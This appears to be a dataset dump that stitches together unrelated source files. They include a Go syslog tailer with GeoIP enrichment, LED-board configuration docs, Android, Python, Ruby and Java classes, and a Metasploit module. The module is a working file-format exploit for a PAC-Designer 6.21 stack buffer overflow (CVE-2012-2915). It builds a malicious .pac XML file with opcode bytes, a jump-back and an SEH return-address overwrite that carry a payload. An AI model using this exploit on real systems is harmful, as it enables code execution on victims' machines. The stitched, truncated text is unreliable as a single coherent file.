			mylen--
			realRegionName = record.Subdivisions[mylen].Names["en"]
			regionName = record.Subdivisions[mylen].IsoCode
		}
		f.GeoIP.Longitude = &record.Location.Longitude
		f.GeoIP.Latitude = &record.Location.Latitude
		f.GeoIP.CountryName = record.Country.Names["en"]
		f.GeoIP.Timezone = &record.Location.TimeZone
		f.GeoIP.ContinentCode = &record.Continent.Code
		f.GeoIP.CityName = record.City.Names["en"]
		f.GeoIP.CountryCode2 = &record.Country.IsoCode
		f.GeoIP.RealRegionName = &realRegionName
		f.GeoIP.RegionName = &regionName
		f.GeoIP.IP = f.Srcip
		f.GeoIP.Location = &esGeoIPLocation{f.GeoIP.Longitude, f.GeoIP.Latitude}
		f.GeoIP.Coordinates = f.GeoIP.Location
	}

	*line, _ = ffjson.Marshal(f)
}

func parseLineWorker(ctx *Context) {
	for {
		select {
		case line := <-ctx.lines:
			myline := []byte(*line)
			parseLine(&myline)
			// primary buffer full, send to backup
			ctx.backupLines <- &myline
		}
	}
}

func rateLogger(ctx *Context) {
	backupRatecount := 0
	backupTotalcount := 0

	bt0 := time.Now()
	bt1 := time.Now()
	for {
		select {
		case <-ctx.backupRate:
			backupRatecount++
			backupTotalcount++
			if time.Since(bt0).Seconds() > 5 {
				log.Info("backup: total: ", backupTotalcount,
					" rate: ", int(float64(backupRatecount)/float64(time.Since(bt0).Seconds())), "/s",
					" avg rate: ", int(float64(backupTotalcount)/float64(time.Since(bt1).Seconds())), "/s",
					" buffer: ", len(ctx.parsedLines))
				bt0 = time.Now()
				backupRatecount = 0
			}
		}
	}
}

func tailUlog(ctx *Context) {
	logfile := flagTailFile
	t, err := tail.TailFile(logfile, tail.Config{Poll: true, Follow: true, ReOpen: true, Pipe: true})
	if err != nil {
		log.Error(err)
	}

	// create the workers. line goes in, parsed line goes out
	for i := 0; i < nrCPU/2; i++ {
		go parseLineWorker(ctx)
	}
	// do backup tasks
	go doBackupTask(ctx, "disk")

	//show some stats
	go rateLogger(ctx)

	for line := range t.Lines {
		ctx.lines <- &line.Text
	}
}

func failOnError(err error, msg string) {
	if err != nil {
		log.Fatalf("%s: %s", msg, err)
		panic(fmt.Sprintf("%s: %s", msg, err))
	}
}

func init() {
	var flagDebug bool
	var flagConfig string
	flag.StringVar(&flagConfig, "conf", "ulog2queue.cfg", "config file")
	flag.StringVar(&flagTailFile, "tail", "", "file to tail")
	flag.BoolVar(&flagDebug, "debug", false, "enable debug")
	log.Level = logrus.InfoLevel
	flag.Parse()
	if flagDebug {
		log.Println("enabling debug")
		log.Level = logrus.DebugLevel
	}
	cfg = NewConfig(flagConfig)
	if flagTailFile == "" {
		flagTailFile = cfg.General.TailFile
	}
	myLocation, _ = time.LoadLocation("Local")
	geoipCache, _ = lru.New(10000)
}

func main() {
	var err error
	if nrCPU == 1 { // no GOMAXPROCS set
		nrCPU = runtime.NumCPU() / 2
		if nrCPU > 10 {
			nrCPU = 10
		}
		runtime.GOMAXPROCS(nrCPU)
	}
	context := &Context{make(chan *string, 10000),
		make(chan *[]byte, cfg.General.Buffer),
		make(chan *[]byte, 10000),
		make(chan int),
		make(chan int),
		make(chan string),
		make(chan bool),
		make(chan string),
		0,
		false,
		cfg}
	geoipDB, err = geoip2.Open(context.cfg.General.Geoip2db)
	failOnError(err, "can't open geoip db")
	tailUlog(context)
}

redpajama_set_name: RedPajamaGithub


text:
#ifndef	__LOADER_FILES__
#define	__LOADER_FILES__

#include <string>
#include "..\rdps-CL\includes_appCL.h"

RDPS_BEGIN
	CL_BEGIN
	   /********************************************************************************
		*
		*Classe para auxiliar na carga de arquivos openCl
		*
		********************************************************************************/
		class LoaderFiles
		{
		public:
			/*--------------------------------------------------------------------------
			 *Função que possibilita carregar varios arquivos passando
			 *como parametro uma lista de endereços, retornando uma
			 *string contendo todos os conteudos dos arquivos.
			 *exemplo:
			 *std::string aux = LoadSource({"teste1.txt", "teste2.txt"});
			 *--------------------------------------------------------------------------*/
			static std::string LoadSource(std::initializer_list<std::string> files);

			/*---------------------------------------------------------------------------
			 *Função para Carregar apenas um arquivo pelo seu endereço,
			 * retornando uma string com o conteudo do arquivo.
			 *---------------------------------------------------------------------------*/
			static std::string ReadInputStream(std::string name);
		};
	CL_END
RDPS_END

#endif//__LOADER_FILES__


text:
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Lattice Semiconductor PAC-Designer 6.21 Symbol Value Buffer Overflow",
			'Description'    => %q{
					This module exploits a vulnerability found in Lattice Semiconductor PAC-Designer
				6.21.  As a .pac file, when supplying a long string of data to the 'value' field
				under the 'SymbolicSchematicData' tag, it is possible to cause a memory corruption
				on the stack, which results in arbitrary code execution under the context of the
				user.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Unknown',      #Discovery
					'juan vazquez', #Metasploit
					'sinn3r'        #Metasploit
				],
			'References'     =>
				[
					['CVE', '2012-2915'],
					['OSVDB', '82001'],
					['EDB', '19006'],
					['BID', '53566'],
					['URL', 'http://secunia.com/advisories/48741']
				],
			'Payload'        =>
				{
					'BadChars' => "\x00\x3c\x3e",
					'StackAdjustment' => -3500,
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "seh"
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'PAC-Designer 6.21 on Windows XP SP3',
						{
							# P/P/R in PACD621.exe
							# ASLR: False, Rebase: False, SafeSEH: False, OS: False
							'Ret' => 0x00805020
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => "May 16 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [true, 'The filename', 'msf.pac'])
			], self.class)
	end

	def exploit
		# The payload is placed in the <title> field
		p = payload.encoded

		# The trigger is placed in the <value> field, which will jmp to our
		# payload in the <title> field.
		buf  = "\x5f"    #POP EDI
		buf << "\x5f"    #POP EDI
		buf << "\x5c"    #POP ESP
		buf << "\x61"*6  #POPAD x 6
		buf << "\x51"    #PUSH ECX
		buf << "\xc3"    #RET
		buf << rand_text_alpha(96-buf.length, payload_badchars)
		buf << "\xeb\x9e#{rand_text_alpha(2, payload_badchars)}"  #Jmp back to the beginning of the buffer
		buf << [target.ret].pack('V')[0,3] # Partial overwrite

		xml = %Q|<?xml version="1.0"?>
<PacDesignData>
	<DocFmtVersion>1</DocFmtVersion>
	<DeviceType>ispPAC-CLK5410D</DeviceType>
	<CreatedBy>PAC-Designer 6.21.1336</CreatedBy>
	<SummaryInformation>
		<Title>#{p}</Title>
		<Author>#{Rex::Text.rand_text_alpha(6)}</Author>
	</SummaryInformation>

	<SymbolicSchematicData>
		<Symbol>
			<SymKey>153</SymKey>
			<NameText>Profile 0 Ref Frequency</NameText>
			<Value>#{buf}</Value>
		</Symbol>
	</SymbolicSchematicData>
</PacDesignData>|

		file_create(xml)
	end
end


text:
pd_led_boards:
==============

*Config file section*

+----------------------------------------------------------------------------+---------+
| Valid in :doc:`machine config files </config/instructions/machine_config>` | **NO**  |
+----------------------------------------------------------------------------+---------+
| Valid in :doc:`mode config files </config/instructions/mode_config>`       | **NO**  |
+----------------------------------------------------------------------------+---------+

.. overview

The ``pd_led_boards:`` section of your config is where you configure your PD-LED boards connected to your
:doc:`P-Roc or P3-Roc </hardware/multimorphic/index>`.
See :doc:`/hardware/multimorphic/servos`, :doc:`/hardware/multimorphic/steppers` or
:doc:`/hardware/multimorphic/leds` for details.

Optional settings
-----------------

The following sections are optional in the ``pd_led_boards:`` section of your config. (If you don't include them, the default will be used).

lpd880x_0_first_address:
~~~~~~~~~~~~~~~~~~~~~~~~
Single value, type: ``integer``. Default: ``100``

First LED address to map to lpd880x_0.
This will be the LED number on the PD-LED for your first LED in the chain.
If you set this to 100 it will be the first LED in your chain.
101 will be the second in chain and so on.

lpd880x_0_last_address:
~~~~~~~~~~~~~~~~~~~~~~~
Single value, type: ``integer``. Default: ``249``

Last LED address to map to lpd880x_0.
This will determine how many LEDs map to your chain.
The more LEDs you have in your chain the lower the update rate will be.

lpd880x_1_first_address:
~~~~~~~~~~~~~~~~~~~~~~~~
Single value, type: ``integer``. Default: ``250``

First LED address to map to lpd880x_1.
This will be the LED number on the PD-LED for your first LED in the chain.
If you set this to 100 it will be the first LED in your chain.
101 will be the second in chain and so on.

lpd880x_1_last_address:
~~~~~~~~~~~~~~~~~~~~~~~
Single value, type: ``integer``. Default: ``399``

Last LED address to map to lpd880x_1.
This will determine how many LEDs map to your chain.
The more LEDs you have in your chain the lower the update rate will be.

lpd880x_2_first_address:
~~~~~~~~~~~~~~~~~~~~~~~~
Single value, type: ``integer``. Default: ``400``

First LED address to map to lpd880x_2.
This will be the LED number on the PD-LED for your first LED in the chain.
If you set this to 100 it will be the first LED in your chain.
101 will be the second in chain and so on.

lpd880x_2_last_address:
~~~~~~~~~~~~~~~~~~~~~~~
Single value, type: ``integer``. Default: ``549``

Last LED address to map to lpd880x_2.
This will determine how many LEDs map to your chain.
The more LEDs you have in your chain the lower the update rate will be.

max_servo_value:
~~~~~~~~~~~~~~~~
Single value, type: ``integer``. Default: ``250``

Max clock cycles in a servo duty cycle.
300 will rougly map to 2ms.

stepper_speed:
~~~~~~~~~~~~~~
Single value, type: ``integer``. Default: ``13524``

Clock cycles for a stepper half step (at 32MHz).
This might need some tuning depending on your stepper.

use_lpd880x_0:
~~~~~~~~~~~~~~
Single value, type: ``boolean`` (Yes/No or True/False). Default: ``false``

Enable the first LPD880x serial LED chain on connector J8 pin 13 (clock) and pin 14 (data).
If you enable this you cannot use LEDs 79 and 80 on the board.

use_lpd880x_1:
~~~~~~~~~~~~~~
Single value, type: ``boolean`` (Yes/No or True/False). Default: ``false``

Enable the second LPD880x serial LED chain on connector J8 pin 9 (clock) and pin 12 (data).
If you enable this you cannot use LEDs 77 and 78 on the board.

use_lpd880x_2:
~~~~~~~~~~~~~~
Single value, type: ``boolean`` (Yes/No or True/False). Default: ``false``

Enable the third LPD880x serial LED chain on connector J8 pin 7 (clock) and pin 8 (data).
If you enable this you cannot use LEDs 75 and 76 on the board.

use_servo_0:
~~~~~~~~~~~~
Single value, type: ``boolean`` (Yes/No or True/False). Default: ``false``

Set to true to enable servo 0 on connector J8 pin 2.
If you enable this you cannot use LED 72 on the board.

use_servo_1:
~~~~~~~~~~~~
Single value, type: ``boolean`` (Yes/No or True/False). Default: ``false``

Set to true to enable servo 1 on connector J8 pin 3.
If you enable this you cannot use LED 73 on the board.

use_servo_10:
~~~~~~~~~~~~~
Single value, type: ``boolean`` (Yes/No or True/False). Default: ``false``

Set to true to enable servo 10 on connector J8 pin 18.
If you enable this you cannot use LED 82 on the board.

use_servo_11:
~~~~~~~~~~~~~
Single value, type: ``boolean`` (Yes/No or True/False). Default: ``false``

Set to true to enable servo 11 on connector J8 pin 19.
If you enable this you cannot use LED 83 on the board.

use_servo_2:
~~~~~~~~~~~~
Single value, type: ``boolean`` (Yes/No or True/False). Default: ``false``

Set to true to enable servo 2 on connector J8 pin 4.
If you enable this you cannot use LED 74 on the board.

use_servo_3:
~~~~~~~~~~~~
Single value, type: ``boolean`` (Yes/No or True/False). Default: ``false``

Set to true to enable servo 3 on connector J8 pin 7.
If you enable this you cannot use LED 75 on the board.

use_servo_4:
~~~~~~~~~~~~
Single value, type: ``boolean`` (Yes/No or True/False). Default: ``false``

Set to true to enable servo 4 on connector J8 pin 8.
If you enable this you cannot use LED 76 on the board.

use_servo_5:
~~~~~~~~~~~~
Single value, type: ``boolean`` (Yes/No or True/False). Default: ``false``

Set to true to enable servo 5 on connector J8 pin 9.
If you enable this you cannot use LED 77 on the board.

use_servo_6:
~~~~~~~~~~~~
Single value, type: ``boolean`` (Yes/No or True/False). Default: ``false``

Set to true to enable servo 6 on connector J8 pin 12.
If you enable this you cannot use LED 78 on the board.

use_servo_7:
~~~~~~~~~~~~
Single value, type: ``boolean`` (Yes/No or True/False). Default: ``false``

Set to true to enable servo 7 on connector J8 pin 13.
If you enable this you cannot use LED 79 on the board.

use_servo_8:
~~~~~~~~~~~~
Single value, type: ``boolean`` (Yes/No or True/False). Default: ``false``

Set to true to enable servo 8 on connector J8 pin 14.
If you enable this you cannot use LED 80 on the board.

use_servo_9:
~~~~~~~~~~~~
Single value, type: ``boolean`` (Yes/No or True/False). Default: ``false``

Set to true to enable servo 9 on connector J8 pin 17.
If you enable this you cannot use LED 81 on the board.

use_stepper_0:
~~~~~~~~~~~~~~
Single value, type: ``boolean`` (Yes/No or True/False). Default: ``false``

Set to true to enable stepper 0 on connector J8 pin 12 (sleep), pin 13 (pulse) and pin 14 (direction).
If you enable this you cannot use LEDs 78, 79 and 80 on the board.

use_stepper_1:
~~~~~~~~~~~~~~
Single value, type: ``boolean`` (Yes/No or True/False). Default: ``false``

Set to true to enable stepper 1 on connector J8 pin 7 (sleep), pin 8 (pulse) and pin 9 (direction).
If you enable this you cannot use LEDs 75, 76 and 77 on the board.

use_ws281x_0:
~~~~~~~~~~~~~
Single value, type: ``boolean`` (Yes/No or True/False). Default: ``false``

Enable the first WS281x serial LED chain on connector J8 pin 19.
If you enable this you cannot use LED 83 on the board.

use_ws281x_1:
~~~~~~~~~~~~~
Single value, type: ``boolean`` (Yes/No or True/False). Default: ``false``

Enable the second WS281x serial LED chain on connector J8 pin 18.
If you enable this you cannot use LED 82 on the board.

use_ws281x_2:
~~~~~~~~~~~~~
Single value, type: ``boolean`` (Yes/No or True/False). Default: ``false``

Enable the third WS281x serial LED chain on connector J8 pin 17.
If you enable this you cannot use LED 81 on the board.

ws281x_0_first_address:
~~~~~~~~~~~~~~~~~~~~~~~
Single value, type: ``integer``. Default: ``100``

First LED address to map to ws281x_0.
This will be the LED number on the PD-LED for your first LED in the chain.
If you set this to 100 it will be the first LED in your chain.
101 will be the second in chain and so on.

ws281x_0_last_address:
~~~~~~~~~~~~~~~~~~~~~~
Single value, type: ``integer``. Default: ``249``

Last LED address to map to ws281x_0.
This will determine how many LEDs map to your chain.
The more LEDs you have in your chain the lower the update rate will be.

ws281x_1_first_address:
~~~~~~~~~~~~~~~~~~~~~~~
Single value, type: ``integer``. Default: ``250``

First LED address to map to ws281x_1.
This will be the LED number on the PD-LED for your first LED in the chain.
If you set this to 100 it will be the first LED in your chain.
101 will be the second in chain and so on.

ws281x_1_last_address:
~~~~~~~~~~~~~~~~~~~~~~
Single value, type: ``integer``. Default: ``399``

Last LED address to map to ws281x_1.
This will determine how many LEDs map to your chain.
The more LEDs you have in your chain the lower the update rate will be.

ws281x_2_first_address:
~~~~~~~~~~~~~~~~~~~~~~~
Single value, type: ``integer``. Default: ``400``

First LED address to map to ws281x_2.
This will be the LED number on the PD-LED for your first LED in the chain.
If you set this to 100 it will be the first LED in your chain.
101 will be the second in chain and so on.

ws281x_2_last_address:
~~~~~~~~~~~~~~~~~~~~~~
Single value, type: ``integer``. Default: ``599``

Last LED address to map to ws281x_2.
This will determine how many LEDs map to your chain.
The more LEDs you have in your chain the lower the update rate will be.

ws281x_end_bit_time:
~~~~~~~~~~~~~~~~~~~~
Single value, type: ``integer``. Default: ``40``

Clock cycles for the end bit in a WS281x chain (at 32MHz).
Usually this does not have to be changed.

ws281x_high_bit_time:
~~~~~~~~~~~~~~~~~~~~~
Single value, type: ``integer``. Default: ``24``

Clock cycles for a high bit in a WS281x chain (at 32MHz).
Usually this does not have to be changed.

ws281x_low_bit_time:
~~~~~~~~~~~~~~~~~~~~
Single value, type: ``integer``. Default: ``13``

Clock cycles for a low bit in a WS281x chain (at 32MHz).
Usually this does not have to be changed.

ws281x_reset_bit_time:
~~~~~~~~~~~~~~~~~~~~~~
Single value, type: ``integer``. Default: ``1603``

Clock cycles for a reset bit in a WS281x chain (at 32MHz).
Usually this does not have to be changed.


text:
class ofApp : public ofBaseApp {
public:
    void setup();
    void update();
    void draw();

    ofVideoGrabber cam;
    ofImage gray, edge, sobel;
};


text:
package com.digits.sdk.android;

import android.content.Context;
import android.util.AttributeSet;
import android.widget.Button;

public class AccentButton extends Button {
    public AccentButton(Context context) {
        this(context, null);
    }

    public AccentButton(Context context, AttributeSet attrs) {
        this(context, attrs, android.R.attr.buttonStyle);
    }

    public AccentButton(Context context, AttributeSet attrs, int defStyleAttr) {
        super(context, attrs, defStyleAttr);

        init();
    }

    private void init() {
        final int accentColor = ThemeUtils.getAccentColor(getResources(), getContext().getTheme());
        final ButtonThemer buttonThemer = new ButtonThemer(getResources());

        buttonThemer.disableDropShadow(this);
        buttonThemer.setBackgroundAccentColor(this, accentColor);
        buttonThemer.setTextAccentColor(this, accentColor);
    }
}


text:
import json
import tarfile
import os

import sklearn
import joblib
from sklearn.pipeline import Pipeline
import qiime2.plugin
import qiime2.plugin.model as model

from .plugin_setup import plugin

# Semantic Types
TaxonomicClassifier = qiime2.plugin.SemanticType('TaxonomicClassifier')

# Formats
class PickleFormat(model.BinaryFileFormat):
    def sniff(self):
        return tarfile.is_tarfile(str(self))

# https://github.com/qiime2/q2-types/issues/49
class JSONFormat(model.TextFileFormat):
    def sniff(self):
        with self.open() as fh:
            try:
                json.load(fh)
                return True
            except json.JSONDecodeError:
                pass
        return False

class TaxonomicClassifierDirFmt(model.DirectoryFormat):
    preprocess_params = model.File('preprocess_params.json', format=JSONFormat)
    sklearn_pipeline = model.File('sklearn_pipeline.tar', format=PickleFormat)

class TaxonomicClassiferTemporaryPickleDirFmt(model.DirectoryFormat):
    version_info = model.File('sklearn_version.json', format=JSONFormat)
    sklearn_pipeline = model.File('sklearn_pipeline.tar', format=PickleFormat)

# Transformers
@plugin.register_transformer
def _1(dirfmt: TaxonomicClassiferTemporaryPickleDirFmt) -> Pipeline:
    sklearn_version = dirfmt.version_info.view(dict)['sklearn-version']
    if sklearn_version != sklearn.__version__:
        raise ValueError('The scikit-learn version (%s) used to generate this'
                         ' artifact does not match the current version'
                         ' of scikit-learn installed (%s). Please retrain your'
                         ' classifier for your current deployment to prevent'
                         ' data-corruption errors.'
                         % (sklearn_version, sklearn.__version__))

    sklearn_pipeline = dirfmt.sklearn_pipeline.view(PickleFormat)

    with tarfile.open(str(sklearn_pipeline)) as tar:
        tmpdir = model.DirectoryFormat()
        dirname = str(tmpdir)
        tar.extractall(dirname)
        pipeline = joblib.load(os.path.join(dirname, 'sklearn_pipeline.pkl'))
        for fn in tar.getnames():
            os.unlink(os.path.join(dirname, fn))

    return pipeline

@plugin.register_transformer
def _2(data: Pipeline) -> TaxonomicClassiferTemporaryPickleDirFmt:
    sklearn_pipeline = PickleFormat()
    with tarfile.open(str(sklearn_pipeline), 'w') as tar:
        tmpdir = model.DirectoryFormat()
        pf = os.path.join(str(tmpdir), 'sklearn_pipeline.pkl')
        for fn in joblib.dump(data, pf):
            tar.add(fn, os.path.basename(fn))
            os.unlink(fn)

    dirfmt = TaxonomicClassiferTemporaryPickleDirFmt()
    dirfmt.version_info.write_data(
        {'sklearn-version': sklearn.__version__}, dict)
    dirfmt.sklearn_pipeline.write_data(sklearn_pipeline, PickleFormat)

    return dirfmt

@plugin.register_transformer
def _3(dirfmt: TaxonomicClassifierDirFmt) -> Pipeline:
    raise ValueError('The scikit-learn version could not be determined for'
                     ' this artifact, please retrain your classifier for your'
                     ' current deployment to prevent data-corruption errors.')

@plugin.register_transformer
def _4(fmt: JSONFormat) -> dict:
    with fmt.open() as fh:
        return json.load(fh)

@plugin.register_transformer
def _5(data: dict) -> JSONFormat:
    result = JSONFormat()
    with result.open() as fh:
        json.dump(data, fh)
    return result

# Registrations
plugin.register_semantic_types(TaxonomicClassifier)
plugin.register_formats(TaxonomicClassifierDirFmt,
                        TaxonomicClassiferTemporaryPickleDirFmt)
plugin.register_semantic_type_to_format(
    TaxonomicClassifier,
    artifact_format=TaxonomicClassiferTemporaryPickleDirFmt)


text:
"""
CanvasSync by Mathias Perslev
February 2017

--------------------------------------------

folder.py, CanvasEntity Class

The Folder class represents the top level 'Files' section in Canvas or a sub-folder here-off. The object is a container
of other Folder objects as well as Files objects. Recursion is used to map the Folder hierarchy of the 'Files' section.

A Course or Folder object is the parent object.

See developer_info.txt file for more information on the class hierarchy of CanvasEntities objects.

"""

# Future imports
from __future__ import print_function

# Third party
from six import text_type

# CanvasSync modules
from CanvasSync.utilities.ANSI import ANSI
from CanvasSync.entities.canvas_entity import CanvasEntity
from CanvasSync.entities.file import File
from CanvasSync.utilities import helpers

class Folder(CanvasEntity):
    def __init__(self, folder_info, parent, black_list=False):
        """
        Constructor method, initializes base Module class and adds all children Folder and/or Item objects to
        the list of children

        folder_info     : dict   | A dictionary of information on the Canvas Folder object
        parent          : object | The parent object, a Folder or Course object
        """

        self.folder_info = folder_info

        folder_id = self.folder_info[u"id"]
        folder_name = helpers.get_corrected_name(self.folder_info[u"name"])
        folder_path = parent.get_path() + folder_name

        # Initialize base Module class
        CanvasEntity.__init__(self,
                              id_number=folder_id,
                              name=folder_name,
                              sync_path=folder_path,
                              parent=parent,
                              identifier=u"folder")

        self.black_list = black_list

    def __repr__(self):
        """ String representation, overwriting base class method """
        status = ANSI.format(u"[SYNCED]", formatting=u"green")
        return status + u" " * 7 + u"|   " + u"\t" * self.indent + u"%s: %s" \
                                                                   % (ANSI.format(u"Folder", formatting=u"folder"),
                                                                      self.name)

    def initialize_black_list(self):
        """
        Some files may have been added to Module or Assignment objects already, so we do not need to store them again
        This method initializes a list of all file names that exist in the hierarchy of the Course object so far
        """

        # Get all entities listed in the Synchronizer object under the course.
        entities = self.get_synchronizer().get_entities(self.get_course().get_id())

        # Get list of names of all the File objects of the entities list
        black_list = [x.get_id() for x in entities if x.get_identifier_string() == u"file"]

        return black_list

    def add_files(self):
        """ Add all files stored by this folder to the list of children """
        files = self.api.get_files_in_folder(self.id)

        for file in files:
            # Skip duplicates if this settings is active
            # (otherwise the list will be empty)
            if file[u"id"] in self.black_list:
                continue

            file = File(file, self, add_to_list_of_entities=False)
            self.add_child(file)

    def add_sub_folders(self):
        """ Add all sub-folders stored by this folder to the list of children """
        folders = self.api.get_folders_in_folder(self.id)

        for folder in folders:
            if folder[u"name"] == u"course_image":
                # Do we really need that course image?
                continue

            folder = Folder(folder, self, black_list=self.black_list)
            self.add_child(folder)

    def walk(self, counter):
        """
        Walk by adding all Files and Folder objects to the list of children
        """
        print(text_type(self))

        # If avoid duplicated setting is active, initialize black list of files found in Modules and
        # Assignments if it was not passed to the object at initialization.
        if not self.black_list and self.settings.avoid_duplicates:
            self.black_list = self.initialize_black_list()
        elif not self.settings.avoid_duplicates:
            self.black_list = []

        self.add_files()
        self.add_sub_folders()

        counter[0] += 1
        for item in self:
            item.walk(counter)

    def sync(self):
        """
        1) Adding all Files and Folder objects to the list of children
        2) Synchronize all children objects
        """
        print(text_type(self))

        # If avoid duplicated setting is active, initialize black list of files found in Modules and
        # Assignments if it was not passed to the object at initialization.
        if not self.black_list and self.settings.avoid_duplicates:
            self.black_list = self.initialize_black_list()
        elif not self.settings.avoid_duplicates:
            self.black_list = []

        self.add_files()
        self.add_sub_folders()

        for item in self:
            item.sync()

    def show(self):
        pass


text:
class UserGridWithCustomizedFormFields < Netzke::Basepack::Grid
  def configure(c)
    super
    c.title = "Users"
    c.model = "User"
  end

  def default_fields_for_forms
    [
      {:xtype => 'fieldset', :title => "Basic Info", :checkboxToggle => true, :items => [
        :first_name,
        {:name => :last_name}
      ]},
      {:xtype => 'fieldset', :title => "Timestamps", :items => [
        {:name => :created_at, :disabled => true},
        {:name => :updated_at, :disabled => true}
      ]},
      :role__name
    ]
  end
end


text:
package com.intellij.execution.impl;

import com.intellij.execution.BeforeRunTask;
import com.intellij.execution.BeforeRunTaskProvider;
import com.intellij.execution.ExecutionBundle;
import com.intellij.execution.RunnerAndConfigurationSettings;
import com.intellij.execution.configurations.RunConfiguration;
import com.intellij.execution.configurations.UnknownRunConfiguration;
import com.intellij.openapi.actionSystem.AnAction;
import com.intellij.openapi.actionSystem.AnActionEvent;
import com.intellij.openapi.actionSystem.DefaultActionGroup;
import com.intellij.openapi.actionSystem.impl.SimpleDataContext;
import com.intellij.openapi.extensions.Extensions;
import com.intellij.openapi.ui.popup.JBPopupFactory;
import com.intellij.openapi.ui.popup.ListPopup;
import com.intellij.openapi.util.Condition;
import com.intellij.openapi.util.Key;
import com.intellij.openapi.util.Pair;
import com.intellij.openapi.util.SystemInfo;
import com.intellij.ui.*;
import com.intellij.ui.components.JBList;
import com.intellij.util.containers.hash.HashSet;
import org.jetbrains.annotations.Nullable;

import javax.swing.*;
import javax.swing.event.ListDataEvent;
import javax.swing.event.ListDataListener;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.util.*;
import java.util.List;

/**
 * @author Vassiliy Kudryashov
 */
class BeforeRunStepsPanel extends JPanel {

  private final JCheckBox myShowSettingsBeforeRunCheckBox;
  private final JBList myList;
  private final CollectionListModel<BeforeRunTask> myModel;
  private RunConfiguration myRunConfiguration;

  private final List<BeforeRunTask> originalTasks = new ArrayList<BeforeRunTask>();
  private StepsBeforeRunListener myListener;
  private final JPanel myPanel;

  BeforeRunStepsPanel(StepsBeforeRunListener listener) {
    myListener = listener;
    myModel = new CollectionListModel<BeforeRunTask>();
    myList = new JBList(myModel);
    myList.getEmptyText().setText(ExecutionBundle.message("before.launch.panel.empty"));
    myList.setSelectionMode(ListSelectionModel.SINGLE_SELECTION);
    myList.setCellRenderer(new MyListCellRenderer());

    myModel.addListDataListener(new ListDataListener() {
      @Override
      public void intervalAdded(ListDataEvent e) {
        adjustVisibleRowCount();
        updateText();
      }

      @Override
      public void intervalRemoved(ListDataEvent e) {
        adjustVisibleRowCount();
        updateText();
      }

      @Override
      public void contentsChanged(ListDataEvent e) {
      }

      private void adjustVisibleRowCount() {
        myList.setVisibleRowCount(Math.max(4, Math.min(8, myModel.getSize())));
      }
    });

    ToolbarDecorator myDecorator = ToolbarDecorator.createDecorator(myList);
    if (!SystemInfo.isMac) {
      myDecorator.setAsUsualTopToolbar();
    }
    myDecorator.setEditAction(new AnActionButtonRunnable() {
      @Override
      public void run(AnActionButton button) {
        int index = myList.getSelectedIndex();
        if (index == -1)
          return;
        Pair<BeforeRunTask, BeforeRunTaskProvider<BeforeRunTask>> selection = getSelection();
        if (selection == null)
          return;
        BeforeRunTask task = selection.getFirst();
        BeforeRunTaskProvider<BeforeRunTask> provider = selection.getSecond();
        if (provider.configureTask(myRunConfiguration, task)) {
          myModel.setElementAt(task, index);
          updateText();
        }
      }
    });
    myDecorator.setEditActionUpdater(new AnActionButtonUpdater() {
      @Override
      public boolean isEnabled(AnActionEvent e) {
        Pair<BeforeRunTask, BeforeRunTaskProvider<BeforeRunTask>> selection = getSelection();
        return selection != null && selection.getSecond().isConfigurable();
      }
    });
    myDecorator.setAddAction(new AnActionButtonRunnable() {
      @Override
      public void run(AnActionButton button) {
        doAddAction(button);
      }
    });
    myDecorator.setAddActionUpdater(new AnActionButtonUpdater() {
      @Override
      public boolean isEnabled(AnActionEvent e) {
        return checkBeforeRunTasksAbility(true);
      }
    });

    myShowSettingsBeforeRunCheckBox = new JCheckBox(ExecutionBundle.message("configuration.edit.before.run"));
    myShowSettingsBeforeRunCheckBox.addActionListener(new ActionListener() {
      @Override
      public void actionPerformed(ActionEvent e) {
        updateText();
      }
    });

    myPanel = myDecorator.createPanel();

    setLayout(new BorderLayout());
    add(myPanel, BorderLayout.CENTER);
    add(myShowSettingsBeforeRunCheckBox, BorderLayout.SOUTH);
  }

  @Nullable
  private Pair<BeforeRunTask, BeforeRunTaskProvider<BeforeRunTask>> getSelection() {
    final int index = myList.getSelectedIndex();
    if (index ==-1)
      return null;
    BeforeRunTask task = myModel.getElementAt(index);
    Key providerId = task.getProviderId();
    BeforeRunTaskProvider<BeforeRunTask> provider = BeforeRunTaskProvider.getProvider(myRunConfiguration.getProject(), providerId);
    return provider != null ? Pair.create(task, provider) : null;
  }

  void doReset(RunnerAndConfigurationSettings settings) {
    myRunConfiguration = settings.getConfiguration();

    originalTasks.clear();
    RunManagerImpl runManager = RunManagerImpl.getInstanceImpl(myRunConfiguration.getProject());
    originalTasks.addAll(runManager.getBeforeRunTasks(myRunConfiguration));
    myModel.replaceAll(originalTasks);
    myShowSettingsBeforeRunCheckBox.setSelected(settings.isEditBeforeRun());
    myShowSettingsBeforeRunCheckBox.setEnabled(!(isUnknown()));
    myPanel.setVisible(checkBeforeRunTasksAbility(false));
    updateText();
  }

  private void updateText() {
    StringBuilder sb = new StringBuilder();

    if (myShowSettingsBeforeRunCheckBox.isSelected()) {
      sb.append(ExecutionBundle.message("configuration.edit.before.run"));
    }

    List<BeforeRunTask> tasks = myModel.getItems();
    if (!tasks.isEmpty()) {
      LinkedHashMap<BeforeRunTaskProvider, Integer> counter = new LinkedHashMap<BeforeRunTaskProvider, Integer>();
      for (BeforeRunTask task : tasks) {
        BeforeRunTaskProvider<BeforeRunTask> provider =
          BeforeRunTaskProvider.getProvider(myRunConfiguration.getProject(), task.getProviderId());
        if (provider != null) {
          Integer count = counter.get(provider);
          if (count == null) {
            count = task.getItemsCount();
          } else {
            count+=task.getItemsCount();
          }
          counter.put(provider, count);
        }
      }
      for (Iterator<Map.Entry<BeforeRunTaskProvider, Integer>> iterator = counter.entrySet().iterator(); iterator.hasNext(); ) {
        Map.Entry<BeforeRunTaskProvider, Integer> entry = iterator.next();
        BeforeRunTaskProvider provider = entry.getKey();
        String name = provider.getName();
        if (name.startsWith("Run ")) {
          name = name.substring(4);
        }
        if (sb.length() > 0) {
          sb.append(", ");
        }
        sb.append(name);
        if (entry.getValue() > 1) {
          sb.append(" (").append(entry.getValue().intValue()).append(")");
        }
      }
    }
    if (sb.length() > 0) {
      sb.insert(0, ": ");
    }
